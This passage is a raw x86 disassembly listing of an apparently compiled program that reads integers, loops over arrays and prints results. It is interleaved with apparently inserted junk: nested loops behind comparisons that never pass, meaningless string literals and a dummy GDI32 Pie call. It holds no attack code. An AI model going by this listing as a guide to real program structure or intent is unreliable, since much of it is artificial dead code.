inc eax
mov dword [ebp - 0x588], eax
cmp dword [ebp - 0x588], 0x1043
jge 0x4dfef5
mov eax, dword [ebp - 0x578]
imul eax, dword [ebp - 0x580]
imul eax, dword [ebp - 0x588]
mov ecx, dword [ebp - 0x590]
sub ecx, eax
mov eax, ecx
cdq
mov dword [ebp - 0x228c], eax
mov dword [ebp - 0x2288], edx
mov dword [ebp - 0x2134], 0x1ae0
cmp dword [ebp - 0x2134], 0x826
jge 0x4dfeda
lea eax, [ebp - 0x2844]
push eax
push 0xab5680
call fcn.004f117c
pop ecx
pop ecx
mov dword [ebp - 0x1404], 1
jmp 0x4dfce6
mov eax, dword [ebp - 0x1404]
inc eax
mov dword [ebp - 0x1404], eax
mov eax, dword [ebp - 0x1404]
cmp eax, dword [ebp - 0x2844]
jg 0x4dfeda
lea eax, [ebp - 0x12c8]
push eax
push 0xab5680
call fcn.004f117c
pop ecx
pop ecx
and dword [ebp - 0x598], 0
jmp 0x4dfd21
mov eax, dword [ebp - 0x598]
inc eax
mov dword [ebp - 0x598], eax
mov eax, dword [ebp - 0x598]
cmp eax, dword [ebp - 0x12c8]
jge 0x4dfd4b
mov eax, dword [ebp - 0x598]
lea eax, [ebp + eax*4 - 0x4bbc]
push eax
push 0xab5680
call fcn.004f117c
pop ecx
pop ecx
jmp 0x4dfd14
mov byte [ebp - 0x1ed], 0
lea eax, [ebp - 0x1ed]
push eax
mov edx, 0x2999ae9
mov ecx, 0x2999a28
call fcn.0041c8db
pop ecx
and dword [ebp - 0x1dc], 0
jmp 0x4dfd7f
mov eax, dword [ebp - 0x1dc]
inc eax
mov dword [ebp - 0x1dc], eax
mov eax, dword [ebp - 0x1dc]
cmp eax, dword [ebp - 0x12c8]
jge 0x4dfe89
mov eax, dword [ebp - 0x1dc]
inc eax
mov dword [ebp - 0x278], eax
jmp 0x4dfdad
mov eax, dword [ebp - 0x278]
inc eax
mov dword [ebp - 0x278], eax
mov eax, dword [ebp - 0x278]
cmp eax, dword [ebp - 0x12c8]
jge 0x4dfe84
mov eax, dword [ebp - 0x1dc]
mov ecx, dword [ebp - 0x278]
mov eax, dword [ebp + eax*4 - 0x4bbc]
cmp eax, dword [ebp + ecx*4 - 0x4bbc]
jle 0x4dfdfd
mov eax, dword [ebp - 0x1dc]
mov ecx, dword [ebp - 0x278]
mov eax, dword [ebp + eax*4 - 0x4bbc]
sub eax, dword [ebp + ecx*4 - 0x4bbc]
mov dword [ebp - 0x5a0], eax
jmp 0x4dfe1d
mov eax, dword [ebp - 0x278]
mov ecx, dword [ebp - 0x1dc]
mov eax, dword [ebp + eax*4 - 0x4bbc]
sub eax, dword [ebp + ecx*4 - 0x4bbc]
mov dword [ebp - 0x5a0], eax
mov dword [ebp - 0x1e4], 1
jmp 0x4dfe36
mov eax, dword [ebp - 0x1e4]
inc eax
mov dword [ebp - 0x1e4], eax
mov eax, dword [ebp - 0x1e4]
imul eax, dword [ebp - 0x1e4]
cmp eax, dword [ebp - 0x5a0]
jg 0x4dfe7f
mov eax, dword [ebp - 0x5a0]
cdq
idiv dword [ebp - 0x1e4]
test edx, edx
jne 0x4dfe7d
mov eax, dword [ebp - 0x5a0]
cdq
idiv dword [ebp - 0x1e4]
mov byte [eax + 0x2999a28], 1
mov eax, dword [ebp - 0x1e4]
mov byte [eax + 0x2999a28], 1
jmp 0x4dfe29
jmp 0x4dfda0
jmp 0x4dfd72
mov dword [ebp - 0x38c], 1
jmp 0x4dfea2
mov eax, dword [ebp - 0x38c]
inc eax
mov dword [ebp - 0x38c], eax
cmp dword [ebp - 0x38c], 0xc1
jg 0x4dfed5
mov eax, dword [ebp - 0x38c]
movzx eax, byte [eax + 0x2999a28]
test eax, eax
jne 0x4dfed3
push dword [ebp - 0x38c]
push 0xab58f8
call fcn.004f1488
pop ecx
pop ecx
jmp 0x4dfed5
jmp 0x4dfe95
jmp 0x4dfcd9
push dword [ebp - 0x2288]
push dword [ebp - 0x228c]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x4dfc58
jmp 0x4dfc32
jmp 0x4dfa99
jmp 0x4dfa73
xor eax, eax
mov ecx, dword [ebp - 0x5a8]
mov word [ebp + ecx*2 - 0x112c], ax
cmp dword [ebp - 0x1758], 0x3474
jge 0x4dff30
mov edx, dword [ebp - 0x2140]
mov ecx, 0xac7538
call fcn.0041c2dd
cmp dword [ebp - 0x18f0], 0x1cb7
jge 0x4dff4c
mov edx, dword [ebp - 0x27e4]
mov ecx, 0xac7538
call fcn.0041c2dd
jmp 0x4de7d2
mov dword [ebp - 0x14c4], 0x5c8e
mov dword [ebp - 0x214c], 0x22fb
cmp dword [ebp - 0x214c], 0xaf0
jge 0x4e00a6
lea eax, [ebp - 0x284c]
push eax
push 0xab5680
call fcn.004f117c
pop ecx
pop ecx
mov dword [ebp - 0x1398], 1
jmp 0x4dffa1
mov eax, dword [ebp - 0x1398]
inc eax
mov dword [ebp - 0x1398], eax
mov eax, dword [ebp - 0x1398]
cmp eax, dword [ebp - 0x284c]
jg 0x4e00a6
push 0x2737180
push 0xab57f4
call fcn.004f117c
pop ecx
pop ecx
mov dword [ebp - 0x394], 0x2737180
mov eax, dword [ebp - 0x394]
inc eax
mov dword [ebp - 0x2158], eax
mov eax, dword [ebp - 0x394]
mov al, byte [eax]
mov byte [ebp - 0x19d], al
inc dword [ebp - 0x394]
cmp byte [ebp - 0x19d], 0
jne 0x4dffdb
mov eax, dword [ebp - 0x394]
sub eax, dword [ebp - 0x2158]
mov dword [ebp - 0x27f0], eax
mov eax, dword [ebp - 0x27f0]
mov dword [ebp - 0x12d0], eax
push 0xab559b
imul edx, dword [ebp - 0x12d0], 0x18
add edx, 0x2df19c0
mov ecx, 0x2df19c0
call fcn.004eae2a
pop ecx
mov eax, dword [ebp - 0x12d0]
dec eax
mov dword [ebp - 0x2164], eax
push 0
lea eax, [ebp - 0x2164]
push eax
call fcn.004cbd10
pop ecx
pop ecx
mov eax, dword [ebp - 0x12d0]
dec eax
mov dword [ebp - 0x5b0], eax
jmp 0x4e006c
mov eax, dword [ebp - 0x5b0]
dec eax
mov dword [ebp - 0x5b0], eax
cmp dword [ebp - 0x5b0], 0
jl 0x4e0096
imul ecx, dword [ebp - 0x5b0], 0x18
add ecx, 0x2df19c0
call fcn.0041722f
push eax
push 0xab57f4
call fcn.004f1488
pop ecx
pop ecx
jmp 0x4e005f
push 0xab57b8
call fcn.004f1488
pop ecx
jmp 0x4dff94
mov dword [ebp - 0x2568], str.ayoglikir_qonnrja_xln
cmp dword [ebp - 0x14c4], 0x6006
jle 0x4e0358
and dword [ebp - 0x5c0], 0
jmp 0x4e00d6
mov eax, dword [ebp - 0x5c0]
inc eax
mov dword [ebp - 0x5c0], eax
cmp dword [ebp - 0x5c0], 0x7e86
jge 0x4e0358
mov dword [ebp - 0x2854], 0x16ef
cmp dword [ebp - 0x2854], 0xcb9
jge 0x4e02e3
mov dword [ebp - 0x2dd8], 0xb9
and dword [ebp - 0x2dd4], 0
lea eax, [ebp - 0x39c]
push eax
push 0xab58f8
call fcn.004f117c
pop ecx
pop ecx
and dword [ebp - 0x2170], 0
lea eax, [ebp - 0x2170]
push eax
mov eax, dword [ebp - 0x39c]
inc eax
push eax
lea ecx, [ebp - 0x2c2c]
call fcn.00417a52
mov dword [ebp - 0x5b8], 1
jmp 0x4e015e
mov eax, dword [ebp - 0x5b8]
inc eax
mov dword [ebp - 0x5b8], eax
mov eax, dword [ebp - 0x5b8]
cmp eax, dword [ebp - 0x39c]
jg 0x4e018c
push dword [ebp - 0x5b8]
lea ecx, [ebp - 0x2c2c]
call fcn.00417bb8
push eax
push 0xab5680
call fcn.004f117c
pop ecx
pop ecx
jmp 0x4e0151
xorpd xmm0, xmm0
movlpd qword [ebp - 0x2de4], xmm0
lea eax, [ebp - 0x2de4]
push eax
mov eax, dword [ebp - 0x39c]
inc eax
inc eax
push eax
lea ecx, [ebp - 0x1a64]
call fcn.00417f8e
mov dword [ebp - 0x12c], 2
jmp 0x4e01cc
mov eax, dword [ebp - 0x12c]
inc eax
mov dword [ebp - 0x12c], eax
mov eax, dword [ebp - 0x39c]
inc eax
cmp dword [ebp - 0x12c], eax
jg 0x4e02a8
mov eax, dword [ebp - 0x12c]
dec eax
push eax
lea ecx, [ebp - 0x1a64]
call fcn.00417fcc
mov esi, dword [eax]
add esi, 1
mov edi, dword [eax + 4]
adc edi, 0
mov eax, dword [ebp - 0x12c]
dec eax
push eax
lea ecx, [ebp - 0x1a64]
call fcn.00417fcc
mov ebx, eax
mov eax, dword [ebp - 0x12c]
dec eax
push eax
lea ecx, [ebp - 0x2c2c]
call fcn.00417bb8
push dword [eax]
lea ecx, [ebp - 0x1a64]
call fcn.00417fcc
mov ecx, dword [ebx]
sub ecx, dword [eax]
mov edx, dword [ebx + 4]
sbb edx, dword [eax + 4]
add esi, ecx
adc edi, edx
add esi, 1
adc edi, 0
push dword [ebp - 0x12c]
lea ecx, [ebp - 0x1a64]
call fcn.00417fcc
mov dword [eax], esi
mov dword [eax + 4], edi
push dword [ebp - 0x12c]
lea ecx, [ebp - 0x1a64]
call fcn.00417fcc
mov ecx, dword [eax]
add ecx, 0x22b
mov eax, dword [eax + 4]
adc eax, 0
push 0
push 0xb9
push eax
push ecx
call fcn.0050a220
mov esi, eax
mov edi, edx
push dword [ebp - 0x12c]
lea ecx, [ebp - 0x1a64]
call fcn.00417fcc
mov dword [eax], esi
mov dword [eax + 4], edi
jmp 0x4e01bf
mov eax, dword [ebp - 0x39c]
inc eax
push eax
lea ecx, [ebp - 0x1a64]
call fcn.00417fcc
push dword [eax + 4]
push dword [eax]
push str._lld_n
call fcn.004f1488
add esp, 0xc
lea ecx, [ebp - 0x1a64]
call fcn.00417fb0
lea ecx, [ebp - 0x2c2c]
call fcn.00417aef
and dword [ebp - 0x5c8], 0
jmp 0x4e02f9
mov eax, dword [ebp - 0x5c8]
inc eax
mov dword [ebp - 0x5c8], eax
cmp dword [ebp - 0x5c8], 0xa76
jge 0x4e0353
mov eax, dword [ebp - 0x5c0]
imul eax, dword [ebp - 0x5c8]
cdq
mov dword [ebp - 0x2298], eax
mov dword [ebp - 0x2294], edx
push dword [ebp - 0x2294]
push dword [ebp - 0x2298]
lea ecx, [ebp - 0x39d8]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x39d8]
call fcn.00401711
jmp 0x4e02ec
jmp 0x4e00c9
mov dword [ebp - 0x6a8], 1
jmp 0x4e0371
mov eax, dword [ebp - 0x6a8]
inc eax
mov dword [ebp - 0x6a8], eax
mov eax, dword [ebp - 0x6a8]
cmp eax, dword [ebp - 0x1760]
jge 0x4e190f
movzx eax, byte [ebp - 0x3c]
test eax, eax
jne 0x4e190f
mov dword [ebp - 0x1788], 0x4771
mov dword [ebp - 0x21c4], str.lrmsbhnp_tccowpul_srfcw_qkxdg_qsfawghs_mawgbtkm_xtlnx
cmp dword [ebp - 0x1788], 0x4994
jle 0x4e1167
and dword [ebp - 0x5d0], 0
jmp 0x4e03c9
mov eax, dword [ebp - 0x5d0]
inc eax
mov dword [ebp - 0x5d0], eax
cmp dword [ebp - 0x5d0], 0x1bf8
jge 0x4e1167
and dword [ebp - 0x5d8], 0
jmp 0x4e03ef
mov eax, dword [ebp - 0x5d8]
inc eax
mov dword [ebp - 0x5d8], eax
cmp dword [ebp - 0x5d8], 0x864
jge 0x4e1162
and dword [ebp - 0x5e0], 0
jmp 0x4e0415
mov eax, dword [ebp - 0x5e0]
inc eax
mov dword [ebp - 0x5e0], eax
cmp dword [ebp - 0x5e0], 0x15f3
jge 0x4e115d
mov eax, dword [ebp - 0x5d0]
xor eax, dword [ebp - 0x5d8]
or eax, dword [ebp - 0x5e0]
cdq
mov dword [ebp - 0x22d4], eax
mov dword [ebp - 0x22d0], edx
mov dword [ebp - 0x1954], 0x40fa
mov dword [ebp - 0x27fc], str.siesam_soct_wqlrimn_hfdjb_ucwxgdmwu_bcqtmvpi_nrvvt_ysdhwcfax
cmp dword [ebp - 0x1954], 0x44a1
jle 0x4e0545
and dword [ebp - 0x5e8], 0
jmp 0x4e047e
mov eax, dword [ebp - 0x5e8]
inc eax
mov dword [ebp - 0x5e8], eax
cmp dword [ebp - 0x5e8], 0x48cf
jge 0x4e0545
and dword [ebp - 0x5f0], 0
jmp 0x4e04a4
mov eax, dword [ebp - 0x5f0]
inc eax
mov dword [ebp - 0x5f0], eax
cmp dword [ebp - 0x5f0], 0x6417
jge 0x4e0540
and dword [ebp - 0x5f8], 0
jmp 0x4e04ca
mov eax, dword [ebp - 0x5f8]
inc eax
mov dword [ebp - 0x5f8], eax
cmp dword [ebp - 0x5f8], 0x65f4
jge 0x4e053b
and dword [ebp - 0x600], 0
jmp 0x4e04ec
mov eax, dword [ebp - 0x600]
inc eax
mov dword [ebp - 0x600], eax
cmp dword [ebp - 0x600], 0x2d71
jge 0x4e0539
mov eax, dword [ebp - 0x5e8]
and eax, dword [ebp - 0x5f0]
mov edx, dword [ebp - 0x5f8]
mov ecx, dword [ebp - 0x600]
shl edx, cl
and eax, edx
cdq
mov dword [ebp - 0x22a4], eax
mov dword [ebp - 0x22a0], edx
push dword [ebp - 0x22a0]
push dword [ebp - 0x22a4]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x4e04df
jmp 0x4e04bd
jmp 0x4e0497
jmp 0x4e0471
mov dword [ebp - 0x195c], 0xdc7
cmp dword [ebp - 0x1954], 0x3f78
jge 0x4e056b
mov edx, dword [ebp - 0x27fc]
mov ecx, 0xac7538
call fcn.0041c2dd
mov dword [ebp - 0x18f8], 0x348f
mov dword [ebp - 0x285c], str.umyigrt_bkxaoge_acdtavo_yndssmrh_ajy_ovdnqa_udf_lakmwijyw_msmgpm_xehh_bpleloc
cmp dword [ebp - 0x18f8], 0x3866
jle 0x4e07bc
and dword [ebp - 0x628], 0
jmp 0x4e05a5
mov eax, dword [ebp - 0x628]
inc eax
mov dword [ebp - 0x628], eax
cmp dword [ebp - 0x628], 0xbd2
jge 0x4e07bc
mov dword [ebp - 0x217c], 0x1999
cmp dword [ebp - 0x217c], 0x1100
jge 0x4e06e6
lea ecx, [ebp - 0x2fb8]
call fcn.004016ac
lea edx, [ebp - 0x2fb8]
mov ecx, 0xac75e0
call fcn.0041c262
and dword [ebp - 0x1ec], 0
and dword [ebp - 0x608], 0
jmp 0x4e0607
mov eax, dword [ebp - 0x608]
inc eax
mov dword [ebp - 0x608], eax
lea ecx, [ebp - 0x2fb8]
call fcn.0040175f
cmp dword [ebp - 0x608], eax
jae 0x4e065a
push dword [ebp - 0x608]
lea ecx, [ebp - 0x2fb8]
call fcn.0040174b
movsx eax, byte [eax]
cmp eax, 0x78
jne 0x4e063f
mov dword [ebp - 0x1768], 1
jmp 0x4e0646
or dword [ebp - 0x1768], 0xffffffff
mov eax, dword [ebp - 0x1ec]
add eax, dword [ebp - 0x1768]
mov dword [ebp - 0x1ec], eax
jmp 0x4e05fa
cmp dword [ebp - 0x1ec], 0
jle 0x4e066c
mov byte [ebp - 0xae], 0x78
jmp 0x4e0673
mov byte [ebp - 0xae], 0x79
mov al, byte [ebp - 0xae]
mov byte [ebp - 0x22a], al
cmp dword [ebp - 0x1ec], 0
jge 0x4e0696
mov eax, dword [ebp - 0x1ec]
neg eax
mov dword [ebp - 0x1ec], eax
and dword [ebp - 0x1424], 0
jmp 0x4e06ac
mov eax, dword [ebp - 0x1424]
inc eax
mov dword [ebp - 0x1424], eax
mov eax, dword [ebp - 0x1424]
cmp eax, dword [ebp - 0x1ec]
jge 0x4e06d0
movsx eax, byte [ebp - 0x22a]
push eax
push 0xab610c
call fcn.004f1488
pop ecx
pop ecx
jmp 0x4e069f
push 0xab559b
call fcn.004f1b87
pop ecx
lea ecx, [ebp - 0x2fb8]
call fcn.00401711
and dword [ebp - 0x610], 0
jmp 0x4e06fc
mov eax, dword [ebp - 0x610]
inc eax
mov dword [ebp - 0x610], eax
cmp dword [ebp - 0x610], 0x1fad
jge 0x4e07b7
and dword [ebp - 0x618], 0
jmp 0x4e0722
mov eax, dword [ebp - 0x618]
inc eax
mov dword [ebp - 0x618], eax
cmp dword [ebp - 0x618], 0x6909
jge 0x4e07b2
and dword [ebp - 0x620], 0
jmp 0x4e0748
mov eax, dword [ebp - 0x620]
inc eax
mov dword [ebp - 0x620], eax
cmp dword [ebp - 0x620], 0x7797
jge 0x4e07ad
mov eax, dword [ebp - 0x610]
sub eax, dword [ebp - 0x618]
sub eax, dword [ebp - 0x620]
and eax, dword [ebp - 0x628]
cdq
mov dword [ebp - 0x22b0], eax
mov dword [ebp - 0x22ac], edx
push dword [ebp - 0x22ac]
push dword [ebp - 0x22b0]
lea ecx, [ebp - 0x37f8]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x37f8]
call fcn.00401711
jmp 0x4e073b
jmp 0x4e0715
jmp 0x4e06ef
jmp 0x4e0598
mov dword [ebp - 0x21b8], str.gwj_iupjhihm_hpclpactr_mbnyn_wlpp_tecw_yhvifee_xbyu_eeixmxpib
cmp dword [ebp - 0x18f8], 0x311e
jge 0x4e07de
push dword [ebp - 0x285c]
call fcn.004f1488
pop ecx
cmp dword [ebp - 0x195c], 0x1188
jle 0x4e0b5e
and dword [ebp - 0x658], 0
jmp 0x4e0804
mov eax, dword [ebp - 0x658]
inc eax
mov dword [ebp - 0x658], eax
cmp dword [ebp - 0x658], 0x4a81
jge 0x4e0b5e
and dword [ebp - 0x660], 0
jmp 0x4e082a
mov eax, dword [ebp - 0x660]
inc eax
mov dword [ebp - 0x660], eax
cmp dword [ebp - 0x660], 0x79fd
jge 0x4e0b59
and dword [ebp - 0x668], 0
jmp 0x4e0850
mov eax, dword [ebp - 0x668]
inc eax
mov dword [ebp - 0x668], eax
cmp dword [ebp - 0x668], 0x7cc0
jge 0x4e0b54
and dword [ebp - 0x670], 0
jmp 0x4e0876
mov eax, dword [ebp - 0x670]
inc eax
mov dword [ebp - 0x670], eax
cmp dword [ebp - 0x670], 0x2346
jge 0x4e0b4f
mov dword [ebp - 0x1770], 0x7be8
mov dword [ebp - 0x2188], 0x1b8b
cmp dword [ebp - 0x2188], 0x12e7
jge 0x4e0a0f
lea eax, [ebp - 0x638]
push eax
lea eax, [ebp - 0x3a4]
push eax
mov ecx, 0xac75e0
call fcn.00417279
mov ecx, eax
call fcn.00417279
mov dword [ebp - 0x630], 1
jmp 0x4e08e2
mov eax, dword [ebp - 0x630]
inc eax
mov dword [ebp - 0x630], eax
mov eax, dword [ebp - 0x630]
cmp eax, dword [ebp - 0x3a4]
jg 0x4e0903
lea eax, [ebp - 0x630]
push eax
mov ecx, 0x2df19b4
call fcn.00417a74
jmp 0x4e08d5
and dword [ebp - 0x280], 0
mov eax, dword [ebp - 0x638]
mov dword [ebp - 0x2864], eax
mov eax, dword [ebp - 0x638]
dec eax
mov dword [ebp - 0x638], eax
cmp dword [ebp - 0x2864], 0
je 0x4e0a00
lea eax, [ebp - 0x12d8]
push eax
mov ecx, 0xac75e0
call fcn.00417279
mov eax, dword [ebp - 0x12d8]
cdq
idiv dword [ebp - 0x3a4]
mov dword [ebp - 0x12d8], edx
mov eax, dword [ebp - 0x280]
add eax, dword [ebp - 0x12d8]
mov dword [ebp - 0x280], eax
mov eax, dword [ebp - 0x280]
cdq
idiv dword [ebp - 0x3a4]
mov dword [ebp - 0x280], edx
push dword [ebp - 0x280]
mov ecx, 0x2df19b4
call fcn.00417bb8
push dword [eax]
mov ecx, 0xac7538
call fcn.00417681
cmp dword [ebp - 0x638], 0
je 0x4e09aa
mov dl, 0x20
mov ecx, 0xac7538
call fcn.0041c4df
push dword [ebp - 0x280]
lea eax, [ebp - 0x2de8]
push eax
lea eax, [ebp - 0x2f24]
push eax
mov ecx, 0x2df19b4
call fcn.00417af4
mov ecx, eax
call fcn.0041d083
mov eax, dword [eax]
mov dword [ebp - 0x2194], eax
push dword [ebp - 0x2194]
lea eax, [ebp - 0x2df4]
push eax
mov ecx, 0x2df19b4
call fcn.00417bc7
mov eax, dword [ebp - 0x3a4]
dec eax
mov dword [ebp - 0x3a4], eax
jmp 0x4e090a
push fcn.0041c2ab
mov ecx, 0xac7538
call fcn.00417675
mov dword [ebp - 0x2808], str.brcsxrfy_fqjfqbnxy_ifvarudn_katq_dplitn_eugoqws_fsoxkux_rypewbd_cdwac_ltabes_kfrsl
cmp dword [ebp - 0x1770], 0x7ea6
jle 0x4e0af3
and dword [ebp - 0x650], 0
jmp 0x4e0a3f
mov eax, dword [ebp - 0x650]
inc eax
mov dword [ebp - 0x650], eax
cmp dword [ebp - 0x650], 0x667e
jge 0x4e0af3
and dword [ebp - 0x640], 0
jmp 0x4e0a65
mov eax, dword [ebp - 0x640]
inc eax
mov dword [ebp - 0x640], eax
cmp dword [ebp - 0x640], 0x52e5
jge 0x4e0aee
and dword [ebp - 0x648], 0
jmp 0x4e0a87
mov eax, dword [ebp - 0x648]
inc eax
mov dword [ebp - 0x648], eax
cmp dword [ebp - 0x648], 0xac5
jge 0x4e0ae9
mov ecx, dword [ebp - 0x640]
imul ecx, dword [ebp - 0x648]
mov eax, dword [ebp - 0x650]
sar eax, cl
cdq
mov dword [ebp - 0x22bc], eax
mov dword [ebp - 0x22b8], edx
push dword [ebp - 0x22b8]
push dword [ebp - 0x22bc]
lea ecx, [ebp - 0x31f8]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x31f8]
call fcn.00401711
jmp 0x4e0a7a
jmp 0x4e0a58
jmp 0x4e0a32
mov eax, dword [ebp - 0x658]
mov ecx, dword [ebp - 0x660]
shl eax, cl
mov ecx, dword [ebp - 0x668]
sub ecx, dword [ebp - 0x670]
xor eax, ecx
cdq
mov dword [ebp - 0x22c8], eax
mov dword [ebp - 0x22c4], edx
cmp dword [ebp - 0x1770], 0x7b52
jge 0x4e0b34
push dword [ebp - 0x2808]
call fcn.004f1488
pop ecx
push dword [ebp - 0x22c4]
push dword [ebp - 0x22c8]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x4e0869
jmp 0x4e0843
jmp 0x4e081d
jmp 0x4e07f7
push dword [ebp - 0x22d0]
push dword [ebp - 0x22d4]
lea ecx, [ebp - 0x3210]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x3210]
call fcn.00401711
mov dword [ebp - 0x1780], 0x7fb0
mov dword [ebp - 0x2a48], str.ahclqgn_ixt_dtfo_hofjxq_besoctr
cmp dword [ebp - 0x1780], 0x832b
jle 0x4e0d84
and dword [ebp - 0x690], 0
jmp 0x4e0bca
mov eax, dword [ebp - 0x690]
inc eax
mov dword [ebp - 0x690], eax
cmp dword [ebp - 0x690], 0x7136
jge 0x4e0d6c
and dword [ebp - 0x678], 0
jmp 0x4e0bf0
mov eax, dword [ebp - 0x678]
inc eax
mov dword [ebp - 0x678], eax
cmp dword [ebp - 0x678], 0x3998
jge 0x4e0d67
and dword [ebp - 0x680], 0
jmp 0x4e0c16
mov eax, dword [ebp - 0x680]
inc eax
mov dword [ebp - 0x680], eax
cmp dword [ebp - 0x680], 0x24c6
jge 0x4e0d62
and dword [ebp - 0x688], 0
jmp 0x4e0c3c
mov eax, dword [ebp - 0x688]
inc eax
mov dword [ebp - 0x688], eax
cmp dword [ebp - 0x688], 0x70b0
jge 0x4e0d5d
mov eax, dword [ebp - 0x678]
cdq
idiv dword [ebp - 0x680]
sub edx, dword [ebp - 0x688]
or edx, dword [ebp - 0x690]
mov eax, edx
cdq
mov dword [ebp - 0x22e0], eax
mov dword [ebp - 0x22dc], edx
mov dword [ebp - 0x21a0], 0x1d70
cmp dword [ebp - 0x21a0], 0x9cc
jge 0x4e0d42
and dword [ebp - 0x13a4], 0
lea eax, [ebp - 0x2938]
push eax
lea eax, [ebp - 0x21ac]
push eax
mov ecx, 0xac75e0
call fcn.00417279
mov ecx, eax
call fcn.00417279
push 0x69
pop eax
sub eax, dword [ebp - 0x2938]
mov dword [ebp - 0x698], eax
mov dword [ebp - 0x3ac], 1
jmp 0x4e0cdc
mov eax, dword [ebp - 0x3ac]
inc eax
mov dword [ebp - 0x3ac], eax
mov eax, dword [ebp - 0x3ac]
cmp eax, dword [ebp - 0x21ac]
jg 0x4e0d26
cmp dword [ebp - 0x698], 0
jle 0x4e0d26
imul eax, dword [ebp - 0x3ac], 5
cmp dword [ebp - 0x698], eax
jl 0x4e0d24
imul eax, dword [ebp - 0x3ac], 5
mov ecx, dword [ebp - 0x698]
sub ecx, eax
mov dword [ebp - 0x698], ecx
mov eax, dword [ebp - 0x13a4]
inc eax
mov dword [ebp - 0x13a4], eax
jmp 0x4e0ccf
push fcn.0041c2ab
push dword [ebp - 0x13a4]
mov ecx, 0xac7538
call fcn.00417681
mov ecx, eax
call fcn.00417675
push dword [ebp - 0x22dc]
push dword [ebp - 0x22e0]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x4e0c2f
jmp 0x4e0c09
jmp 0x4e0be3
jmp 0x4e0bbd
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_Pie]
cmp dword [ebp - 0x195c], 0xd76
jge 0x4e113c
mov dword [ebp - 0x2810], 0x1df8
cmp dword [ebp - 0x2810], 0x7d7
jge 0x4e112c
push 0x29a0c7c
push 0xab5680
call fcn.004f117c
pop ecx
pop ecx
and dword [ebp - 0x6a0], 0
jmp 0x4e0dd5
mov eax, dword [ebp - 0x6a0]
inc eax
mov dword [ebp - 0x6a0], eax
mov eax, dword [ebp - 0x6a0]
cmp eax, dword [0x29a0c7c]
jge 0x4e0dff
mov eax, dword [ebp - 0x6a0]
lea eax, [eax*4 + 0x2473908]
push eax
push 0xab5680
call fcn.004f117c
pop ecx
pop ecx
jmp 0x4e0dc8
and dword [ebp - 0xc], 0
mov eax, dword [0x29a0c7c]
dec eax
mov dword [ebp - 0x24], eax
or dword [ebp - 0x64], 0xffffffff
push 0xab559b
lea ecx, [ebp - 0x1ba0]
call fcn.004016bd
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x24]
jg 0x4e0f44
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x24]
mov eax, dword [eax*4 + 0x2473908]
cmp eax, dword [ecx*4 + 0x2473908]
je 0x4e0f44
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x24]
mov eax, dword [eax*4 + 0x2473908]
cmp eax, dword [ecx*4 + 0x2473908]
jge 0x4e0e91
mov eax, dword [ebp - 0xc]
mov eax, dword [eax*4 + 0x2473908]
cmp eax, dword [ebp - 0x64]
jle 0x4e0e91
mov eax, dword [ebp - 0xc]
mov eax, dword [eax*4 + 0x2473908]
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0xc]
inc eax
mov dword [ebp - 0xc], eax
push 0x4c
lea ecx, [ebp - 0x1ba0]
call fcn.0040171b
jmp 0x4e0f3f
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0xc]
mov eax, dword [eax*4 + 0x2473908]
cmp eax, dword [ecx*4 + 0x2473908]
jge 0x4e0ed9
mov eax, dword [ebp - 0x24]
mov eax, dword [eax*4 + 0x2473908]
cmp eax, dword [ebp - 0x64]
jle 0x4e0ed9
mov eax, dword [ebp - 0x24]
mov eax, dword [eax*4 + 0x2473908]
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0x24]
dec eax
mov dword [ebp - 0x24], eax
push 0x52
lea ecx, [ebp - 0x1ba0]
call fcn.0040171b
jmp 0x4e0f3f
mov eax, dword [ebp - 0xc]
mov eax, dword [eax*4 + 0x2473908]
cmp eax, dword [ebp - 0x64]
jle 0x4e0f0b
mov eax, dword [ebp - 0xc]
mov eax, dword [eax*4 + 0x2473908]
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0xc]
inc eax
mov dword [ebp - 0xc], eax
push 0x4c
lea ecx, [ebp - 0x1ba0]
call fcn.0040171b
jmp 0x4e0f3f
mov eax, dword [ebp - 0x24]
mov eax, dword [eax*4 + 0x2473908]
cmp eax, dword [ebp - 0x64]
jle 0x4e0f3d
mov eax, dword [ebp - 0x24]
mov eax, dword [eax*4 + 0x2473908]
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0x24]
dec eax
mov dword [ebp - 0x24], eax
push 0x52
lea ecx, [ebp - 0x1ba0]
call fcn.0040171b
jmp 0x4e0f3f
jmp 0x4e0f44
jmp 0x4e0e20
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x24]
jne 0x4e0f74
mov eax, dword [ebp - 0xc]
mov eax, dword [eax*4 + 0x2473908]
cmp eax, dword [ebp - 0x64]
jle 0x4e0f74
push 0x4c
lea ecx, [ebp - 0x1ba0]
call fcn.0040171b
mov eax, dword [ebp - 0xc]
inc eax
mov dword [ebp - 0xc], eax
jmp 0x4e10f7
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x24]
jge 0x4e10f7
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x24]
mov eax, dword [eax*4 + 0x2473908]
cmp eax, dword [ecx*4 + 0x2473908]
jne 0x4e10f7
mov eax, dword [ebp - 0xc]
mov eax, dword [eax*4 + 0x2473908]
cmp eax, dword [ebp - 0x64]
jle 0x4e10f7
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x1778], eax
lea eax, [ebp - 0x1ba0]
push eax
lea ecx, [ebp - 0x2f70]
